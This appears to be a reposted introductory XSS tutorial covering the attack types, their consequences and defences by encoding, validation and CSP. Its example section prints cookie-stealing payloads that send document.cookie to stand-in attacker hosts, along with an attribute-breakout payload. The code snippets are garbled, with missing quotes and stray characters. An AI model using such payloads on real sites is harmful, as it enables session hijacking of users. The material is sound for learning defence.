標籤:

XSS introduction

reference:owasp.org/index.php/XSS

excess-xss.com/

Introduction

Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript in another users browser.

The attacker does not directly target his victim. Instead, he exploits a vulnerability in a website that the victim visits, in order to get the website to deliver the malicious JavaScript for him. To the victims browser, the malicious JavaScript appears to be a legitimate part of the website, and the website has thus acted as an unintentional accomplice to the attacker.

The possibility of JavaScript being malicious becomes more clear when you consider the following facts:

  • JavaScript has access to some of the users sensitive information, such as cookies.

  • JavaScript can send HTTP requests with arbitrary content to arbitrary destinations by using XMLHttpRequest and other mechanisms.

  • JavaScript can make arbitrary modifications to the HTML of the current page by using DOM manipulation methods.

These facts combined can cause very serious security breaches, as we will explain next.

Types of XSS

  • Persistent XSS, where the malicious string originates from the websites database.

  • Reflected XSS, where the malicious string originates from the victims request.

  • DOM-based XSS, where the vulnerability is in the client-side code rather than the server-side code.

The consequences of malicious JavaScript

Cookie theftThe attacker can access the victims cookies associated with the website using document.cookie, send them to his own server, and use them to extract sensitive information like session IDs.KeyloggingThe attacker can register a keyboard event listener usingaddEventListener and then send all of the users keystrokes to his own server, potentially recording sensitive information such as passwords and credit card numbers.PhishingThe attacker can insert a fake login form into the page using DOM manipulation, set the forms action attribute to target his own server, and then trick the user into submitting sensitive information.

An example attack scenario

var img = document.createElement(img);nimg.src=http://www.xss.com?cookie=+document.cookie;nimg.style.display=none;ndocument.getElementsByTagName(body)[0].appendChild(img);n

<script>nwindow.location=http://attacker/?cookie=+document.cookien</script>n

This script navigates the users browser to a different URL, triggering an HTTP request to the attackers server. The URL includes the victims cookies as a query parameter, which the attacker can extract from the request when it arrives to his server. Once the attacker has acquired the cookies, he can use them to impersonate the victim and launch further attacks.

DOM-based XSS

DOM-based XSS is a variant of both persistent and reflected XSS. In a DOM-based XSS attack, the malicious string is not actually parsed by the victims browser until the websites legitimate JavaScript is executed. The diagram below illustrates this scenario for a reflected XSS attack:

  1. The attacker crafts a URL containing a malicious string and sends it to the victim.

  2. The victim is tricked by the attacker into requesting the URL from the website.

  3. The website receives the request, but does not include the malicious string in the response.

  4. The victims browser executes the legitimate script inside the response, causing the malicious script to be inserted into the page.

  5. The victims browser executes the malicious script inserted into the page, sending the victims cookies to the attackers server.

What makes DOM-based XSS different

In the previous examples of persistent and reflected XSS attacks, the server inserts the malicious script into the page, which is then sent in a response to the victim. When the victims browser receives the response, it assumes the malicious script to be part of the pages legitimate content and automatically executes it during page load as with any other script.

In the example of a DOM-based XSS attack, however, there is no malicious script inserted as part of the page; the only script that is automatically executed during page load is a legitimate part of the page. The problem is that this legitimate script directly makes use of user input in order to add HTML to the page. Because the malicious string is inserted into the page using innerHTML, it is parsed as HTML, causing the malicious script to be executed.

The difference is subtle but important:

  • In traditional XSS, the malicious JavaScript is executed when the page is loaded, as part of the HTML sent by the server.

  • In DOM-based XSS, the malicious JavaScript is executed at some point after the page has loaded, as a result of the pages legitimate JavaScript treating user input in an unsafe way.

Why DOM-based XSS matters

In the previous example, JavaScript was not necessary; the server could have generated all the HTML by itself. If the server-side code were free of vulnerabilities, the website would then be safe from XSS.

However, as web applications become more advanced, an increasing amount of HTML is generated by JavaScript on the client-side rather than by the server. Any time content needs to be changed without refreshing the entire page, the update must be performed using JavaScript. Most notably, this is the case when a page is updated after an AJAX request.

This means that XSS vulnerabilities can be present not only in your websites server-side code, but also in your websites client-side JavaScript code. Consequently, even with completely secure server-side code, the client-side code might still unsafely include user input in a DOM update after the page has loaded. If this happens, the client-side code has enabled an XSS attack through no fault of the server-side code.

DOM-based XSS invisible to the server

There is a special case of DOM-based XSS in which the malicious string is never sent to the websites server to begin with: when the malicious string is contained in a URLs fragment identifier (anything after the # character). Browsers do not send this part of the URL to servers, so the website has no way of accessing it using server-side code. The client-side code, however, has access to it and can thus cause XSS vulnerabilities by handling it unsafely.

This situation is not limited to fragment identifiers. Other user input that is invisible to the server includes new HTML5 features like LocalStorage and IndexedDB.

Methods of preventing XSS

  • Encoding, which escapes the user input so that the browser interprets it only as data, not as code.

  • Validation, which filters the user input so that the browser interprets it as code without malicious commands.

While these are fundamentally different methods of preventing XSS, they share several common features that are important to understand when using either of them:

ContextSecure input handling needs to be performed differently depending on where in a page the user input is inserted.

Inbound/outboundSecure input handling can be performed either when your website receives the input (inbound) or right before your website inserts the input into a page (outbound).

Client/serverSecure input handling can be performed either on the client-side or on the server-side, both of which are needed under different circumstances.

payload:"><script>...</script><input value="

<input value=""><script>...</script><input value="">

Encoding

Encoding is the act of escaping user input so that the browser interprets it only as data, not as code. The most recognizable type of encoding in web development is HTML escaping, which converts characters like < and > into < and >, respectively.

HTML element contentnode.textContent = userInputHTML attribute value

element.setAttribute(attribute, userInput)

or

element[attribute] = userInput

URL query valuewindow.encodeURIComponent(userInput)

CSS valueelement.style.property = userInput

Validation

Validation is the act of filtering user input so that all malicious parts of it are removed, without necessarily removing all code in it. One of the most recognizable types of validation in web development is allowing some HTML elements (such as <em> and<strong>) but disallowing others (such as <script>).

There are two main characteristics of validation that differ between implementations:

Classification strategyUser input can be classified using either blacklisting or whitelisting.Validation outcomeUser input identified as malicious can either be rejected or sanitised.

Which prevention technique to use

Encoding should be your first line of defense against XSS, because its very purpose is to neutralize data so that it cannot be interpreted as code. In some cases, encoding needs to be complemented with validation, as explained earlier. This encoding and validation should be outbound, because only when the input is included in a page do you know which context to encode and validate for.

As a second line of defense, you should use inbound validation to sanitize or reject data that is clearly invalid, such as links using the javascript: protocol. While this cannot by itself provide full security, it is a useful precaution if at any point outbound encoding and validation is improperly performed due to mistakes or errors.

If these two lines of defense are used consistently, your website will be protected from XSS attacks. However, due to the complexity of creating and maintaining an entire website, achieving full protection using only secure input handling can be difficult. As a third line of defense, you should also make use of Content Security Policy (CSP), which we will describe next.


推薦閱讀:

XSS學習之以關點面 1~5關
Ecma TC39 規範提議 - Literals in script
白帽子挖洞—跨站腳本攻擊(XSS)篇
淺析圖片XSS中的哪些技術問題

TAG:XSS |